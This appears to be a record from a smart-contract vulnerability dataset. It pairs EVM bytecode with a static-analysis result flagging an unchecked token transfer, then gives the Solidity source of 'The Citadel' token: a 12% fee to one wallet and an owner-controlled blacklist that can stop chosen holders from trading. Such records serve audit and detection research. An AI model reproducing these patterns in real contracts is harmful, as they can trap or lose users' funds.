8083038186803b15801561092357600080fd5b505afa158015610937573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095b9190611487565b101561099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611726565b60405180910390fd5b60005b8451811015610acb578173ffffffffffffffffffffffffffffffffffffffff166323b872dd338784815181106109fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151898581518110610a3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518463ffffffff1660e01b8152600401610a6593929190611694565b602060405180830381600087803b158015610a7f57600080fd5b505af1158015610a93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab7919061145e565b508080610ac390611a36565b91505061099f565b50505b60019150509392505050565b610ae2610ebf565b610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906117e6565b60405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610b5e57819050610b62565b3390505b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c265760004711610bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd1906117a6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610c20573d6000803e3d6000fd5b50610d8c565b600083905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610c669190611627565b60206040518083038186803b158015610c7e57600080fd5b505afa158015610c92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb69190611487565b905060008111610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf2906117a6565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401610d36929190611642565b602060405180830381600087803b158015610d5057600080fd5b505af1158015610d64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d88919061145e565b5050505b505050565b610d99610ebf565b610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf906117e6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f01611049565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b610f25610ebf565b610f64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5b906117e6565b60405180910390fd5b610f6d81611051565b50565b600080831415610f835760009050610fe5565b60008284610f91919061191b565b9050828482610fa091906118ea565b14610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd7906117c6565b60405180910390fd5b809150505b92915050565b6000808284610ffa9190611894565b90508381101561103f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103690611746565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b8906116e6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061119161118c8461182b565b611806565b905080838252602082019050828560208602820111156111b057600080fd5b60005b858110156111e057816111c6888261126b565b8452602084019350602083019250506001810190506111b3565b5050509392505050565b60006111fd6111f884611857565b611806565b9050808382526020820190508285602086028201111561121c57600080fd5b60005b8581101561124c578161123288826112e9565b84526020840193506020830192505060018101905061121f565b5050509392505050565b60008135905061126581611cda565b92915050565b60008135905061127a81611cf1565b92915050565b600082601f83011261129157600080fd5b81356112a184826020860161117e565b91505092915050565b600082601f8301126112bb57600080fd5b81356112cb8482602086016111ea565b91505092915050565b6000815190506112e381611d08565b92915050565b6000813590506112f881611d1f565b92915050565b60008151905061130d81611d1f565b92915050565b60006020828403121561132557600080fd5b600061133384828501611256565b91505092915050565b6000806040838503121561134f57600080fd5b600061135d85828601611256565b925050602061136e8582860161126b565b9150509250929050565b60008060006060848603121561138d57600080fd5b600061139b86828701611256565b935050602084013567ffffffffffffffff8111156113b857600080fd5b6113c4868287016112aa565b925050604084013567ffffffffffffffff8111156113e157600080fd5b6113ed86828701611280565b9150509250925092565b60008060006060848603121561140c57600080fd5b600061141a86828701611256565b935050602061142b868287016112e9565b925050604084013567ffffffffffffffff81111561144857600080fd5b61145486828701611280565b9150509250925092565b60006020828403121561147057600080fd5b600061147e848285016112d4565b91505092915050565b60006020828403121561149957600080fd5b60006114a7848285016112fe565b91505092915050565b6114b9816119cf565b82525050565b6114c881611975565b82525050565b6114d781611999565b82525050565b60006114ea602683611883565b91506114f582611b1d565b604082019050919050565b600061150d600f83611883565b915061151882611b6c565b602082019050919050565b6000611530601883611883565b915061153b82611b95565b602082019050919050565b6000611553601b83611883565b915061155e82611bbe565b602082019050919050565b6000611576601a83611883565b915061158182611be7565b602082019050919050565b6000611599601d83611883565b91506115a482611c10565b602082019050919050565b60006115bc600d83611883565b91506115c782611c39565b602082019050919050565b60006115df602183611883565b91506115ea82611c62565b604082019050919050565b6000611602602083611883565b915061160d82611cb1565b602082019050919050565b611621816119c5565b82525050565b600060208201905061163c60008301846114bf565b92915050565b600060408201905061165760008301856114b0565b6116646020830184611618565b9392505050565b600060408201905061168060008301856114bf565b61168d60208301846114bf565b9392505050565b60006060820190506116a960008301866114bf565b6116b660208301856114b0565b6116c36040830184611618565b949350505050565b60006020820190506116e060008301846114ce565b92915050565b600060208201905081810360008301526116ff816114dd565b9050919050565b6000602082019050818103600083015261171f81611500565b9050919050565b6000602082019050818103600083015261173f81611523565b9050919050565b6000602082019050818103600083015261175f81611546565b9050919050565b6000602082019050818103600083015261177f81611569565b9050919050565b6000602082019050818103600083015261179f8161158c565b9050919050565b600060208201905081810360008301526117bf816115af565b9050919050565b600060208201905081810360008301526117df816115d2565b9050919050565b600060208201905081810360008301526117ff816115f5565b9050919050565b6000611810611821565b905061181c8282611a05565b919050565b6000604051905090565b600067ffffffffffffffff82111561184657611845611add565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561187257611871611add565b5b602082029050602081019050919050565b600082825260208201905092915050565b600061189f826119c5565b91506118aa836119c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118df576118de611a7f565b5b828201905092915050565b60006118f5826119c5565b9150611900836119c5565b9250826119105761190f611aae565b5b828204905092915050565b6000611926826119c5565b9150611931836119c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196a57611969611a7f565b5b828202905092915050565b6000611980826119a5565b9050919050565b6000611992826119a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006119da826119e1565b9050919050565b60006119ec826119f3565b9050919050565b60006119fe826119a5565b9050919050565b611a0e82611b0c565b810181811067ffffffffffffffff82111715611a2d57611a2c611add565b5b80604052505050565b6000611a41826119c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611a7457611a73611a7f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5472616e73666572206661696c65640000000000000000000000000000000000600082015250565b7f546f6b656e2062616c616e6365206e6f7420656e6f7567680000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f546f6b656e20616c6c6f77616e6365206e6f7420656e6f756768000000000000600082015250565b7f455448207472616e736665722076616c7565206e6f7420656e6f756768000000600082015250565b7f42616c616e636520656d70747900000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b611ce381611975565b8114611cee57600080fd5b50565b611cfa81611987565b8114611d0557600080fd5b50565b611d1181611999565b8114611d1c57600080fd5b50565b611d28816119c5565b8114611d3357600080fd5b5056fea2646970667358221220b7cd54cf48fe0466b87d2ef8668f3724aee1450d78d26c9d606d03b3b7537eee64736f6c63430008020033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
4,816
0x849ba2278cdae7fa7006c0661fea1c35d5af3336
// SPDX-License-Identifier: Unlicensed //Lo and Behold --- The Citadel Shall Prosper pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TheCitadel is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeRewards = 1; uint256 private _feeTeam = 9; uint256 private _feeMarketing = 2; address payable private _feeAddrMarketing; address payable private _feeAddrTeam; string private constant _name = "The Citadel"; string private constant _symbol = "TheCitadel"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrMarketing = payable(0x2eE82E0A83282696b96fA8555E4A9823715A4F9C); _feeAddrTeam = payable(0x2eE82E0A83282696b96fA8555E4A9823715A4F9C); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrMarketing] = true; _isExcludedFromFee[_feeAddrTeam] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { uint256 marketingPecentage = _feeMarketing.mul(10000).mul(10**9).div(_feeMarketing.add(_feeTeam)); uint256 amountToMarketing = marketingPecentage.mul(amount).div(10000).div(10**9); uint256 amountToTeam = amount.sub(amountToMarketing); _feeAddrMarketing.transfer(amountToMarketing); _feeAddrTeam.transfer(amountToTeam); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrTeam); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrTeam); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeRewards, _feeTeam.add(_feeMarketing)); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 feeTax, uint256 feeTeam) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(feeTax).div(100); uint256 tTeam = tAmount.mul(feeTeam).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063dd62ed3e146103bb578063f2fde38b146103f857610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612c16565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061276d565b61045e565b6040516101789190612bfb565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612d98565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061271a565b610490565b6040516101e09190612bfb565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612680565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612e0d565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906127f6565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612680565b610786565b6040516102b19190612d98565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612b2d565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612c16565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061276d565b610990565b60405161035b9190612bfb565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906127ad565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906126da565b6110b4565b6040516103ef9190612d98565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612680565b61113b565b005b60606040518060400160405280600b81526020017f546865204369746164656c000000000000000000000000000000000000000000815250905090565b600061047261046b6112fd565b8484611305565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d8484846114d0565b61055e846104a96112fd565b6105598560405180606001604052806028815260200161351160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119ae9092919063ffffffff16565b611305565b600190509392505050565b6105716112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612cf8565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612cf8565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112fd565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611a12565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9b565b9050919050565b6107df6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f5468654369746164656c00000000000000000000000000000000000000000000815250905090565b60006109a461099d6112fd565b84846114d0565b6001905092915050565b6109b66112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612cf8565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a67613155565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc906130ae565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b196112fd565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611c09565b50565b610b5a6112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612cf8565b60405180910390fd5b601060149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612d78565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce8000000611305565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906126ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906126ad565b6040518363ffffffff1660e01b8152600401610dff929190612b48565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906126ad565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612b9a565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f599190612850565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff0219169083151502179055506a295be96e640669720000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612b71565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612823565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6111436112fd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790612cf8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611240576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123790612c78565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136c90612d58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dc90612c98565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114c39190612d98565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611540576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153790612d38565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a790612c38565b60405180910390fd5b600081116115f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ea90612d18565b60405180910390fd5b6115fb61092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611669575061163961092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561199e57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117125750600660008373fffffffffffffffffff